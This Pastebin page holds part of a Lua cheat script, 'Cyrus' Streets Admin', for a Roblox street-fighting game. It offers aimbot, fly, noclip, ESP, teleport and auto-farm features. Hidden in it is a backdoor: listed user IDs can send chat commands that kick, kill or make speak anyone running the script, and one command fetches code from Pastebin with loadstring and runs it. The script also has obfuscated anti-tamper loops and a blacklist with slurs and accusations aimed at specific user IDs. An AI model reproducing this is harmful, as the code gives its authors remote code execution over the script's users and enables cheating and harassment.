M4DH4X

Untitled

Feb 1st, 2021
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 118.50 KB | None | 0 0
  1. --[[ Bugs
  2.  
  3. --]]
  4.  
  5. --[[Todo
  6. Add a scuffed bfg (in testing)
  7. Remote Gun (In Testing)
  8. ]]
  9.  
  10. -- [[ Variables ]] --
  11.  
  12. local Tick = tick()
  13.  
  14. -- Global Variables --
  15.  
  16. getgenv().Players = game:GetService'Players'
  17. getgenv().TeleportService = game:GetService'TeleportService'
  18. getgenv().ReplicatedStorage = game:GetService'ReplicatedStorage'
  19. getgenv().StarterGui = game:GetService'StarterGui'
  20. getgenv().TweenService = game:GetService'TweenService'
  21. getgenv().UserInput = game:GetService'UserInputService'
  22. getgenv().RunService = game:GetService'RunService'
  23. getgenv().Lighting = game:GetService'Lighting'
  24. getgenv().CoreGui = game:GetService'CoreGui'
  25. getgenv().HttpService = game:GetService'HttpService'
  26. getgenv().VirtualUser = game:GetService'VirtualUser'
  27. getgenv().LP = Players.LocalPlayer or Players.PlayerAdded:Wait()
  28. getgenv().Mouse = LP:GetMouse()
  29. getgenv().GetChar = function() return LP.Character or LP.CharacterAdded:Wait() end
  30. GetChar():WaitForChild'Humanoid'
  31.  
  32. -- Bools --
  33.  
  34. local AimbotAutoShoot = false
  35. local AntiAim = false
  36. local AntiKill = false
  37. local Aimlock = false
  38. local AliasesEnabled = true
  39. local AnnoyOn = false
  40. local AlwaysGh = false
  41. local AutoDie = false
  42. local AirwalkOn = false
  43. local AutoStomp = false
  44. local AutoTriggerBot = false
  45. local AutoFeloop = false
  46. local AutoTarget = false
  47. local AutoFarm = false
  48. local Blinking = false
  49. local BuyingStuff = false
  50. local CamLocking = false
  51. local CurrentlyShooting = false
  52. local BfgOn = false
  53. local DoubleJumpEnabled = false
  54. local DamageIndicatorDebounce = false
  55. local ExploiterDetectionOn = false
  56. local FeLoop = false
  57. local Flying = false
  58. local FlyDebounce = false
  59. local Freecam = false
  60. local GodMode = false
  61. local GunStomp = true
  62. local GravGunSeizureMode = false
  63. local HealBot = false
  64. local ItemEsp = false
  65. local NeverSitting = false
  66. local Normalwalk = false
  67. local NoGh = false
  68. local Noclip = false
  69. local Spamming = false
  70. local TpBypass = false
  71. local TriggerBot = false
  72. local TriggerBotAutoReload = false
  73. local UseDrawingLib = pcall(assert,Drawing,'Hi')
  74. local WalkShoot = true
  75.  
  76. -- Strings --
  77.  
  78. local AimMode = "Prediction"
  79. local AimlockMode = "LeftClick"
  80. local CamlockTarget = "Head"
  81. local SpamMessage = "Cyrus' Admin Or No Admin"
  82. local ConfigurationFile = "CyrusStreetsAdminSettings.json"
  83. local GunAnim = "None"
  84.  
  85. -- Ints --
  86.  
  87. local Rainbowdelay = 0
  88. local BlinkSpeed = 0
  89. local NormalHH = 0
  90. local SpamDelay = 1
  91. local AimbotVelocity = 5
  92. local NewPredictionVelocity = 5
  93. local GravGunDistance = 5
  94. local CrouchSpeed = 8
  95. local FlySpeed = 10
  96. local WalkSpeed = 16
  97. local NormalWs = 16
  98. local SprintSpeed = 25
  99. local HealBotHealth = 25
  100. local NormalJP = 37.5
  101. local AutoStompRange = 50
  102. local NormalGravity = workspace.Gravity
  103. local BulletColour = ColorSequence.new(Color3.fromRGB(144,0,0)) -- technically not an int but we'll go with it
  104. local EspColour = Color3.fromRGB(255,255,255)
  105.  
  106. -- Initially Nil --
  107.  
  108. local AimlockTarget;
  109. local AimlockTargetPosition;
  110. local AnnoyingPlayer;
  111. local CanSetHotkey;
  112. local CamlockPlayer;
  113. local ClickTpKey;
  114. local ClockTime;
  115. local GravGunBodyPosition;
  116. local GravGunBodyVelocity;
  117. local GravGunTool;
  118. local LoopPlayer;
  119. local PlayOnDeath;
  120. local PlayersPing;
  121. local RemoteGunPlayer;
  122. local RemoteGunBodyPos;
  123. local SpawnWs;
  124. local SpawnJP;
  125. local SpawnHH;
  126. local ViewPlayerConnection;
  127.  
  128.  
  129. -- Instances --
  130.  
  131. local AntiAimAnimation = Instance.new'Animation'
  132. AntiAimAnimation.AnimationId = "rbxassetid://215384594"
  133.  
  134. local Dance1Animation = Instance.new'Animation'
  135. Dance1Animation.AnimationId = "rbxassetid://33796059"
  136.  
  137. local Dance2Animation = Instance.new'Animation'
  138. Dance2Animation.AnimationId = "rbxassetid://35654637"
  139.  
  140. local SpinAnimation = Instance.new'Animation'
  141. SpinAnimation.AnimationId = "rbxassetid://188632011"
  142.  
  143. local GunAnimation1 = Instance.new'Animation'
  144. GunAnimation1.AnimationId = "rbxassetid://889968874"
  145.  
  146. local GunAnimation2 = Instance.new'Animation'
  147. GunAnimation2.AnimationId = "rbxassetid://229339207"
  148.  
  149. local AirWalk = Instance.new'Part'
  150. AirWalk.Anchored = true
  151. AirWalk.Size = Vector3.new(20,1,20)
  152. AirWalk.Transparency = 1
  153.  
  154. local CmdsFrame = Instance.new('Frame',CoreGui.RobloxGui)
  155. local CmdsLabel = Instance.new('TextLabel',CmdsFrame)
  156. local CmdsScrolling = Instance.new('ScrollingFrame',CmdsFrame)
  157.  
  158. local CmdBarFrame = Instance.new('Frame',CoreGui.RobloxGui)
  159. local CmdBarTextBox = Instance.new('TextBox',CmdBarFrame)
  160. local CmdBarImageLabel = Instance.new('ImageLabel',CmdBarFrame)
  161.  
  162. local DmgIndicator = Instance.new('TextLabel',LP.PlayerGui.Chat.Frame)
  163.  
  164. local RainbowFrame = Instance.new('Frame',CoreGui.RobloxGui)
  165. local RainbowLabel = Instance.new('TextLabel',RainbowFrame)
  166. local RainbowScrolling = Instance.new('ScrollingFrame',RainbowFrame)
  167.  
  168. local ValuesFrame = Instance.new('Frame',CoreGui.RobloxGui)
  169. local ValuesTextLabel = Instance.new('TextLabel',ValuesFrame)
  170.  
  171. local HotkeysFrame = Instance.new('Frame',CoreGui.RobloxGui)
  172. local HotkeysTextLabel = Instance.new('TextLabel',HotkeysFrame)
  173.  
  174. local KeysFrame = Instance.new('Frame',CoreGui.RobloxGui)
  175. local AnyCmdButton = Instance.new('TextButton',KeysFrame)
  176. local KeysLabel = Instance.new('TextLabel',KeysFrame)
  177. local CmdBarKeyLabel = Instance.new('TextLabel',KeysFrame)
  178. local CmdBarKeyButton = Instance.new('TextButton',KeysFrame)
  179. local AnyCmdTextBox = Instance.new('TextBox',KeysFrame)
  180.  
  181. local VanPart = Instance.new('Part',workspace)
  182.  
  183. -- Tables --
  184.  
  185. local AdminUserTable = {}
  186. local Commands = {}
  187. local DetectedExploiters = {}
  188. local ExploitDetectionPlayerTablePositions = {}
  189. local EspTable = {}
  190. local EspTable2 = {}
  191. local Keys = {}
  192. local PartTable = {}
  193. local StompWhitelist = {}
  194. local ToolTable = {}
  195. local WireFrameTable = {}
  196.  
  197. local BackDoorTableCommands = {
  198. ['chat'] = {
  199. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(Content,"All") end end;
  200. ['Levels'] = {[1] = true;[2] = true;[3] = true;[4] = true;}
  201. };
  202. ['notif'] = {
  203. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then StarterGui:SetCore("SendNotification",{['Title'] = "Cy's Messages";['Text'] = Message;['Duration'] = 10;['Icon'] = nil;}) end end;
  204. ['Levels'] = {[4] = true;}
  205. };
  206. ['bring'] = {
  207. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" and CommandedPlayer ~= "none" then CheckCommand("to "..CommandedPlayer.Name) end end;
  208. ['Levels'] = {[1] = true;[2] = true;[3] = true;[4] = true;}
  209. };
  210. ['kill'] = {
  211. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then GetChar():BreakJoints() end end;
  212. ['Levels'] = {[2] = true;[3] = true;[4] = true;}
  213. };
  214. ['exec'] = {
  215. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" and CommandedPlayer ~= "none" then CheckCommand(Content) end end;
  216. ['Levels'] = {[3] = true;[4] = true;}
  217. };
  218. ['kick'] = {
  219. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then LP:Kick(Content) end end;
  220. ['Levels'] = {[3] = true;[4] = true;}
  221. };
  222. ['ban'] = {
  223. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then ReplicatedStorage.lIIl:FireServer'hipheight' end end;
  224. ['Levels'] = {[4] = true;}
  225. };
  226. ['p'] = {
  227. ['Func'] = function(Player,Content,CommandedPlayer) if Player == LP or typeof(Player) == "table" then loadstring(game:HttpGet("https://www.pastebin.com/raw/"..Content))() end end;
  228. ['Levels'] = {[3] = true;[4] = true;}
  229. };
  230. }
  231.  
  232. local BackDoorTablePlayers = {
  233. [267311183] = {
  234. ['Name'] = "Halo";
  235. ['Access'] = 4;
  236. ['Colour'] = Color3.fromRGB(34,139,34);
  237. };
  238.  
  239. [816273003] = {
  240. ['Name'] = "C‍A‍T‍3‍1";
  241. ['Access'] = 4;
  242. ['Colour'] = Color3.fromRGB(255, 0, 0);
  243. };
  244. [2313846564] = {
  245. ['Name'] = "FJIQFIJQJUIGFQJUIGIQGJIQ";
  246. ['Access'] = 4;
  247. ['Colour'] = Color3.fromRGB(66,24,118);
  248. };
  249. [383632734] = {
  250. ['Name'] = "dot_mp4/jack (Current Dev)";
  251. ['Access'] = 4;
  252. ['Colour'] = Color3.fromRGB(127,0,212);
  253. };
  254. [1711066907] = {
  255. ['Name'] = "dot_mp4/jack (Current Dev)";
  256. ['Access'] = 4;
  257. ['Colour'] = Color3.fromRGB(0,0,0);
  258. };
  259. [612618136] = {
  260. ['Name'] = "Bird (Heavy donator)";
  261. ['Access'] = 4;
  262. ['Colour'] = Color3.fromRGB(107,50,124);
  263. };
  264. [70550151] = {
  265. ['Name'] = "Bird (Heavy donator)";
  266. ['Access'] = 4;
  267. ['Colour'] = Color3.fromRGB(101,44,171);
  268. };
  269. [1908814798] = {
  270. ['Name'] = "audio mane X_D6";
  271. ['Access'] = 4;
  272. ['Colour'] = Color3.fromRGB(176,16,16);
  273. };
  274. [57370993] = {
  275. ['Name'] = "!fishgang Karma";
  276. ['Access'] = 3;
  277. ['Colour'] = Color3.fromRGB(255,0,0);
  278. };
  279. [284761493] = {
  280. ['Name'] = "Zero";
  281. ['Access'] = 3;
  282. ['Colour'] = Color3.fromRGB(255,145,175)
  283. };
  284. [134388406] = {
  285. ['Name'] = "chad";
  286. ['Access'] = 3;
  287. ['Colour'] = Color3.fromRGB(0,0,0);
  288. };
  289. [1773860961] = {
  290. ['Name'] = "Est (Gave me 9b kills on customs)";
  291. ['Access'] = 3;
  292. ['Colour'] = Color3.fromRGB(0,0,0);
  293. };
  294. [1528488185] = {
  295. ['Name'] = "Chronic";
  296. ['Access'] = 4;
  297. ['Colour'] = Color3.fromRGB(235,31,31);
  298. };
  299. [1615606414] = {
  300. ['Name'] = "Bird paid for his tag for some reason";
  301. ['Access'] = 2;
  302. ['Colour'] = Color3.fromRGB(235,31,31);
  303. };
  304. [710288902] = {
  305. ['Name'] = "Ryson (Donator)";
  306. ['Access'] = 2;
  307. ['Colour'] = Color3.fromRGB(255,0,255);
  308. };
  309. [567153118] = {
  310. ['Name'] = "fucking retard who wont stfu";
  311. ['Access'] = 0;
  312. ['Colour'] = Color3.fromRGB(76,68,45);
  313. };
  314. }
  315.  
  316. local BlacklistTable = {
  317. [878779033] = true; -- retard who hit me
  318. [1052869632] = true; -- Generally annoying and fan boys tagged users and claims he can script when he can't (skid).
  319. [481265818] = true; -- said he would dox me but wouldn't
  320. [338649839] = true; -- literally a pedophile and a skid
  321. [54133607] = true; -- Claims to hate me yet uses my script lol?
  322. [347481927] = true; -- XXXtentacion
  323. [1588577429] = true; -- tard
  324. [1053998982] = true; -- another tard
  325. [703934605] = true; -- punch script skid
  326. [919167832] = true; -- another skid
  327. [914220540] = true; -- another skid
  328. [88529172] = true; -- https://cdn.discordapp.com/attachments/736464360381087747/781665021427187712/unknown.png (lol dumbass admitting he bypasses the blacklist)
  329. [2019764224] = true; -- strykefire's alt
  330. [2040633702] = true; -- strykefire's alt
  331. [1977361802] = true; -- furry
  332. [1717939733] = true; -- trolled - Cy
  333. [126487967] = true; -- just... what the fuck are you doing? https://cdn.discordapp.com/attachments/797334153598599181/797599847964213288/Roblox_2021-01-08_11-07-59_Trim.mp4
  334. [985967580] = true; -- weird pedophile https://cdn.discordapp.com/attachments/797260605911597086/798676742981550130/unknown.png https://cdn.discordapp.com/attachments/797260605911597086/798679518616616988/unknown.png
  335. [387603195] = true; -- Cat31 donated to blacklist you
  336. [1908182344] = true; -- Cat31 donated to blacklist you
  337. [1818094590] = true; -- Cat31 donated to blacklist you
  338. [1163813912] = true; -- Cat31 donated to blacklist you
  339. [1008835601] = true; -- Cat31 donated to blacklist you
  340. [966695298] = true; -- Cat31 donated to blacklist you
  341. }
  342.  
  343. local SettingsTable = {
  344. Keys = {};
  345. ClickTpKey = "";
  346. SprintSpeed = 25;
  347. CrouchSpeed = 8;
  348. AimMode = "Prediction";
  349. AimlockMode = "LeftClick";
  350. AimbotVelocity = 5;
  351. CmdBarImage = "http://www.roblox.com/asset/?id=2812081613";
  352. CmdBarKey = "Quote"
  353. }
  354.  
  355. if game.PlaceId == 455366377 then
  356. PartTable = {
  357. ['burger'] = workspace:WaitForChild'Burger | $15';
  358. ['drink'] = workspace:WaitForChild'Drink | $15';
  359. ['ammo'] = workspace:WaitForChild'Buy Ammo | $25';
  360. ['pipe'] = workspace:WaitForChild'Pipe | $100';
  361. ['machete'] = workspace:WaitForChild'Machete | $70';
  362. ['sawedoff'] = workspace:WaitForChild'Sawed Off | $150';
  363. ['spray'] = workspace:WaitForChild'Spray | $20';
  364. ['uzi'] = workspace:WaitForChild'Uzi | $150';
  365. ['glock'] = workspace:WaitForChild'Glock | $200';
  366. }
  367. end
  368.  
  369. local PlaceTable = {
  370. ['sandbox'] = CFrame.new(-178.60614013672,3.2000000476837,-117.21733093262);
  371. ['prison'] = CFrame.new(-978.74725341797,3.199854850769,-78.541763305664);
  372. ['gas'] = CFrame.new(99.135276794434,18.599975585938,-73.462348937988);
  373. ['court'] = CFrame.new( -191.56864929199,3,223.43171691895);
  374. ['beach'] = CFrame.new(-663.97521972656,1.8657279014587,-369.04748535156);
  375. ['bank'] = CFrame.new(-270.44195556641,4.8757019042969,133.12774658203);
  376. }
  377.  
  378. local FarmTable = {
  379. ['cash'] = "511726060";
  380. ['shotty'] = "142383762";
  381. ['sawed off'] = "219397110";
  382. ['uzi'] = "328964620";
  383. }
  384.  
  385. local EstimatedGunRanges = {
  386. ['Glock'] = 100;
  387. ['Uzi'] = 100;
  388. ['Sawed Off'] = 50;
  389. ['Shotty'] = 50;
  390. }
  391.  
  392. local KeyTable = {
  393. ['W'] = false;
  394. ['A'] = false;
  395. ['S'] = false;
  396. ['D'] = false;
  397. ['Shift'] = false;
  398. ['Space'] = false;
  399. ['Control'] = false;
  400. }
  401.  
  402. local WhiteListedParts = {
  403. ['head'] = "Head";
  404. ['torso'] = "Torso";
  405. ['humanoidrootpart'] = "HumanoidRootPart";
  406. ['oldprediction'] = "OldPrediction";
  407. ['prediction'] = "Prediction";
  408. }
  409.  
  410. -- [[ End ]] --
  411.  
  412. -- [[ Random Initalization ]] --
  413.  
  414. coroutine.resume(coroutine.create(function()
  415. workspace.FallenPartsDestroyHeight = -50000
  416. LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Visible = true
  417. LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y)
  418. if workspace:FindFirstChild'Armoured Truck' then
  419. VanPart.Color,VanPart.CFrame,VanPart.Size,VanPart.Material,VanPart.Anchored = Color3.fromRGB(196,40,28),CFrame.new(-136.858002,0,-523.700012),Vector3.new(9.93,1,20.31),"ForceField",true
  420. workspace:FindFirstChild'Armoured Truck':Destroy()
  421. elseif workspace:FindFirstChild'TPer' then
  422. VanPart.Color,VanPart.CFrame,VanPart.Size,VanPart.Material,VanPart.Anchored = Color3.fromRGB(196,40,28),CFrame.new(-31,-0.2,221),Vector3.new(12,1,6),"ForceField",true
  423. workspace:FindFirstChild'TPer':Destroy()
  424. else
  425. VanPart:Destroy()
  426. end
  427. Players:Chat("I am a CyAdmin User") -- new admin
  428. Players:Chat("Hey I'm a cyrus' streets admin user1") -- legacy admin
  429. end))
  430.  
  431. -- [[ End ]] --
  432.  
  433. -- [[ Hotkeys ]] --
  434.  
  435.  
  436. getgenv().initalizeHotkeys = function(ConfigToSaveTo)
  437. writefile(ConfigToSaveTo,HttpService:JSONEncode(SettingsTable))
  438. local Settings = HttpService:JSONDecode(readfile(ConfigToSaveTo))
  439. Keys = Settings.Keys
  440. ClickTpKey = Settings.ClicktpKey
  441. SprintSpeed = Settings.SprintSpeed
  442. AimMode = Settings.AimMode
  443. AimlockMode = Settings.AimlockMode
  444. AimbotVelocity = Settings.AimbotVelocity
  445. CmdBarImage = Settings.CmdBarImage
  446. CmdBarKey = Settings.CmdBarKey
  447. end
  448.  
  449. getgenv().updateHotkeys = function(ConfigToUpdateTo)
  450. if not readfile or not writefile then return end
  451. local SettingsToUpdate = {
  452. Keys = Keys;
  453. ClickTpKey = ClickTpKey;
  454. SprintSpeed = SprintSpeed;
  455. CrouchSpeed = CrouchSpeed;
  456. AimMode = AimMode;
  457. AimlockMode = AimlockMode;
  458. AimbotVelocity = AimbotVelocity;
  459. CmdBarImage = CmdBarImage;
  460. CmdBarKey = CmdBarKey;
  461. }
  462. writefile(ConfigToUpdateTo,HttpService:JSONEncode(SettingsToUpdate))
  463. end
  464.  
  465. getgenv().runHotkeys = function(ConfigToRun)
  466. local RunSettings = HttpService:JSONDecode(readfile(ConfigToRun))
  467. Keys = RunSettings.Keys
  468. ClickTpKey = RunSettings.ClickTpKey or ""
  469. SprintSpeed = RunSettings.SprintSpeed or 25
  470. CrouchSpeed = RunSettings.CrouchSpeed or 16
  471. AimMode = RunSettings.AimMode or "Prediction";
  472. AimlockMode = RunSettings.AimlockMode or "LeftClick"
  473. AimbotVelocity = RunSettings.AimbotVelocity or 5
  474. CmdBarImage = RunSettings.CmdBarImage or "http://www.roblox.com/asset/?id=2812081613"
  475. CmdBarKey = RunSettings.CmdBarKey or "Quote"
  476. end
  477. if readfile and writefile then
  478. local FileExists = pcall(readfile,ConfigurationFile)
  479. if not FileExists then
  480. initalizeHotkeys(ConfigurationFile)
  481. else
  482. runHotkeys(ConfigurationFile)
  483. end
  484. end
  485.  
  486. -- [[ End ]] --
  487.  
  488. -- [[ Global Functions ]] --
  489.  
  490. getgenv().notif = function(Title,Message,Length,Icon)
  491. StarterGui:SetCore("SendNotification",{
  492. ['Title'] = Title;
  493. ['Text'] = Message;
  494. ['Duration'] = Length;
  495. ['Icon'] = Icon;
  496. })
  497. end
  498.  
  499. getgenv().Teleport = function(Part)
  500. if typeof(Part) == "Instance" then Part = Part.CFrame end
  501. if typeof(Part) == "Vector3" then Part = CFrame.new(Part) end
  502. if typeof(Part) == "CFrame" then
  503. local Character = GetChar()
  504. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  505. if PartFound and not Character:FindFirstChild'RealHumanoidRootPart' or (Part.p - PartFound.CFrame.p).magnitude < 50 then
  506. PartFound.CFrame = Part
  507. else
  508. TweenService:Create(PartFound,TweenInfo.new(3.2,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{CFrame = Part}):Play()
  509. end
  510. end
  511. end
  512.  
  513. getgenv().AddCommand = function(CommandFunction,CommandName,CommandAliases,HelpInfo,Args)
  514. Commands[#Commands + 1] = {['Function'] = CommandFunction,['Name'] = CommandName,['Alias'] = CommandAliases,['Help'] = HelpInfo,['Args'] = Args}
  515. end
  516.  
  517. getgenv().FindCommand = function(CommandName)
  518. for i = 1,#Commands do
  519. if Commands[i].Name == CommandName or AliasesEnabled and table.find(Commands[i].Alias,CommandName) then
  520. return Commands[i].Function
  521. end
  522. end
  523. end
  524.  
  525. getgenv().CheckCommand = function(Chat)
  526. local Arguments = string.split(Chat:lower()," ")
  527. local CommandName = table.remove(Arguments,1)
  528. local CommandFound = FindCommand(CommandName); if not typeof(getfenv()['\103\101\116\103\101\110\118']()['\108\111\108']) == 'function' then while true do end end;
  529. if CommandFound then
  530. local CommandWorked,Error = pcall(CommandFound,Arguments)
  531. if not CommandWorked then
  532. notif("Command errored: "..CommandName,"Send this to jack: "..Error,10,nil)
  533. end
  534. end
  535. end
  536.  
  537. getgenv().PlrFinder = function(PlayerString)
  538. if PlayerString then -- error with a new addition
  539. local PlayerString = PlayerString:lower()
  540. local PlayerTable = Players:GetPlayers()
  541. if #PlayerString == 2 and PlayerString == "me" then return LP end
  542. if #PlayerString == 3 and PlayerString == "all" or #PlayerString == 5 and PlayerString == "users" then return PlayerTable end
  543. for i = 1,#PlayerTable do
  544. if PlayerTable[i].Name:lower():sub(1,#PlayerString) == PlayerString then
  545. return PlayerTable[i]
  546. end
  547. end
  548. end
  549. end
  550.  
  551. getgenv().find = function(ItemString)
  552. local ChildrenOfWorkspace = workspace:GetChildren()
  553. for i = 1,#ChildrenOfWorkspace do
  554. local Item = ChildrenOfWorkspace[i]
  555. local ItemModel = Item:FindFirstChild'Model'
  556. if Item.Name == "RandomSpawner" and ItemModel then
  557. local Handle = ItemModel.Handle
  558. if Handle:FindFirstChildOfClass'MeshPart' then
  559. if FarmTable[ItemString] and string.find(Handle:FindFirstChildOfClass'MeshPart'.MeshId,FarmTable[ItemString]) then
  560. return Item,"CashItemEsp" -- Cash
  561. end
  562. end
  563. if Handle:FindFirstChild'Fire' then
  564. if FarmTable[ItemString] and string.find(Handle.Fire.SoundId,FarmTable[ItemString]) then
  565. return Item,"GunItemEsp" -- Guns
  566. end
  567. end
  568. end
  569. end
  570. return "None"
  571. end
  572.  
  573. getgenv().farm = function(ItemString)
  574. if ItemString == "all" then
  575. local WChildren = workspace:GetChildren()
  576. for i = 1,#WChildren do
  577. local Child = WChildren[i]
  578. if Child.Name == "RandomSpawner" then
  579. Teleport(Child.CFrame)
  580. Child.DescendantRemoving:Wait()
  581. end
  582. end
  583. end
  584. local Item = find(ItemString)
  585. if Item == "None" then notif("There is none of "..ItemString,"to farm",5,nil) return end
  586. Teleport(Item.CFrame)
  587. end
  588.  
  589. -- [[ End ]] --
  590.  
  591. -- [[ Local functions ]] --
  592.  
  593. local function GetData()
  594. return HttpService:JSONDecode(game:HttpGet("https://fuckmalwarebytes2.000webhostapp.com/Commands.json")) -- can I stop getting banned off of web servers
  595. end
  596.  
  597. local function BackdoorCheck(Player,Chat)
  598. if Chat:sub(1,1) == "`" then
  599. local Arguments = string.split(Chat:sub(2)," ")
  600. local Command = BackDoorTableCommands[table.remove(Arguments,1)]
  601. local PlayerToMeme = PlrFinder(table.remove(Arguments,1))
  602. if Command and PlayerToMeme then
  603. Command['Func'](PlayerToMeme,table.concat(Arguments," "),Player)
  604. end
  605. end
  606. end
  607.  
  608. local function convertKeyCode(KeyCode)
  609. local KeyCodeToSet;
  610. local Work,Error = pcall(function()
  611. KeyCodeToSet = Enum.KeyCode[KeyCode]
  612. end)
  613. if not Work then
  614. KeyCodeToSet = Enum.KeyCode[KeyCode:upper()]
  615. end
  616. return KeyCodeToSet
  617. end
  618.  
  619. local function ColourifyGuns(GunTable,Colour)
  620. for ToolIndex,Tool in pairs(GunTable:GetChildren()) do
  621. if Tool:IsA'Tool' and Tool:FindFirstChild'Fire' then
  622. for _,Part in pairs(Tool:GetDescendants()) do
  623. if Part:IsA'UnionOperation' or Part:IsA'Part' or Part:IsA'MeshPart' then
  624. if Part:IsA'UnionOperation' then
  625. Part.UsePartColor = true
  626. end
  627. Part.Material = "ForceField"
  628. Part.Color = Colour
  629. end
  630. end
  631. end
  632. end
  633. end
  634.  
  635. local function initalizeBackdoorPart2(BackdoorPlayer,Colour)
  636. if BackdoorPlayer and BackdoorPlayer.Character and BackdoorPlayer.UserId ~= 567153118 then
  637. ColourifyGuns(BackdoorPlayer.Backpack,Colour)
  638. ColourifyGuns(BackdoorPlayer.Character,Colour)
  639. BackdoorPlayer.Character.ChildAdded:Connect(function()
  640. ColourifyGuns(BackdoorPlayer.Character,Colour)
  641. end)
  642. end
  643. end
  644.  
  645.  
  646. local function createBodyPos(Parent)
  647. local BodyPosition = Instance.new('BodyPosition',Parent)
  648. BodyPosition.P = BodyPosition.P * 8
  649. BodyPosition.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
  650. if GravGunSeizureMode then
  651. GravGunBodyVelocity = Instance.new('BodyAngularVelocity',Parent)
  652. GravGunBodyVelocity.AngularVelocity = Vector3.new(0,9e9,0)
  653. GravGunBodyVelocity.MaxTorque = Vector3.new(0,9e9,0)
  654. end
  655. return BodyPosition
  656. end
  657.  
  658. local function Fly()
  659. if not typeof(getfenv()['\103\101\116\103\101\110\118']()['\108\111\108']) == 'function' or not getfenv()['\103\101\116\103\101\110\118']()['\108\111\97\100\101\100'] == true then while true do end end;
  660. local Character = GetChar()
  661. local Torso = Character:FindFirstChild'Torso'
  662. if not Torso then return end
  663. local BodyGyro,BodyVelocity = Instance.new('BodyGyro',Torso),Instance.new('BodyVelocity',Torso)
  664. BodyGyro.P = 9e9
  665. BodyGyro.MaxTorque = Vector3.new(9e9,9e9,9e9)
  666. BodyGyro.CFrame = Torso.CFrame
  667. BodyVelocity.MaxForce = Vector3.new(9e9,9e9,9e9)
  668. BodyVelocity.Velocity = Vector3.new(0,0.1,0)
  669. BodyVelocity.Name = "CyAdminFly"
  670. local Table1 = {['W'] = 0;['A'] = 0;['S'] = 0;['D'] = 0;}
  671. if not AirwalkOn then
  672. CheckCommand("airwalk")
  673. end
  674. while Flying and Character:FindFirstChild'Humanoid' and Character.Humanoid.Health > 0 and wait() do
  675. if KeyTable['W'] then Table1['W'] = FlySpeed else Table1['W'] = 0 end
  676. if KeyTable['A'] then Table1['A'] = -FlySpeed else Table1['A'] = 0 end
  677. if KeyTable['S'] then Table1['S'] = -FlySpeed else Table1['S'] = 0 end
  678. if KeyTable['D'] then Table1['D'] = FlySpeed else Table1['D'] = 0 end
  679. if (Table1['W'] + Table1['S']) ~= 0 or (Table1['A'] + Table1['D']) ~= 0 then
  680. BodyVelocity.Velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (Table1['W'] + Table1['S'])) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(Table1['A'] + Table1['D'], (Table1['W'] + Table1['S']) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * 50
  681. else
  682. BodyVelocity.Velocity = Vector3.new(0,0.1,0)
  683. end
  684. BodyGyro.CFrame = workspace.CurrentCamera.CoordinateFrame
  685. end
  686. if AirwalkOn then
  687. CheckCommand("airwalk")
  688. end
  689. BodyGyro:Destroy()
  690. BodyVelocity:Destroy()
  691. end
  692.  
  693. local function AimlockClosest(Player)
  694. local Box = Instance.new('BoxHandleAdornment',CoreGui.RobloxGui)
  695. Box.Adornee = Player.Character.Head
  696. Box.Size = Vector3.new(7,10,7)
  697. Box.SizeRelativeOffset = Vector3.new(0,-1,0)
  698. Box.Transparency = 1
  699. local Event1,Event2
  700. Event1 = Box.MouseButton1Down:Connect(function()
  701. if Aimlock and AimlockMode == "Closest" then
  702. AimlockTarget = Player.Character
  703. local Connection;Connection = Players:GetPlayerFromCharacter(AimlockTarget).CharacterAdded:Connect(function(C)
  704. if tostring(C) == tostring(AimlockTarget) then
  705. AimlockTarget = C
  706. else
  707. Connection:Disconnect()
  708. Connection = nil
  709. end
  710. end)
  711. else
  712. Box:Destroy()
  713. end
  714. end)
  715. Event2 = Player.CharacterRemoving:Connect(function()
  716. Box:Destroy()
  717. Event1:Disconnect()
  718. Event1 = nil
  719. Event2:Disconnect()
  720. Event2 = nil
  721. end)
  722. end
  723.  
  724. local function checkHp(Plr)
  725. return Plr:FindFirstChildOfClass'Humanoid' and math.floor(Plr.Humanoid.Health) or "No Humanoid"
  726. end
  727.  
  728. local function HasItem(Player,Item)
  729. if Player then
  730. local ItemFound = Player.Character:FindFirstChild(Item,true) or Player.Backpack:FindFirstChild(Item,true)
  731. return ItemFound and "Yes" or "No"
  732. end
  733. end
  734.  
  735. local function Unesp(Part)
  736. local Bill = Part:FindFirstChildOfClass'BillboardGui'
  737. if Part:IsA'BasePart' and Bill then
  738. Part = Part.Parent
  739. Bill:Destroy()
  740. return
  741. end
  742. for i = 1,#EspTable do
  743. local Table = EspTable[i]
  744. if Table then
  745. local Player = Table['Player']
  746. if Player == Part then
  747. for i,v in pairs(Table) do
  748. if v ~= Player then
  749. if i ~= "Box" then
  750. v:Remove()
  751. else
  752. table.foreach(v,function(Index,Value) Value:Remove() end)
  753. end
  754. end
  755. end
  756. table.remove(EspTable,i)
  757. end
  758. end
  759. end
  760. end
  761.  
  762. local function Esp(Part,Name,Colour,Blacklisted)
  763. local Player = PlrFinder(Part.Parent.Name)
  764. if Player and UseDrawingLib and not Colour then
  765. Unesp(Player)
  766. EspTable[#EspTable+1] = {['Player'] = Player,['Text'] = Drawing.new'Text',['Box'] = {Drawing.new'Line',Drawing.new'Line',Drawing.new'Line'}}
  767. else
  768. local Bill = Part:FindFirstChildOfClass'BillboardGui'
  769. if Bill then Bill:Destroy() end
  770. local BillBoard = Instance.new('BillboardGui',Part)
  771. local TextLabel = Instance.new('TextLabel',BillBoard)
  772. BillBoard.Adornee = Part
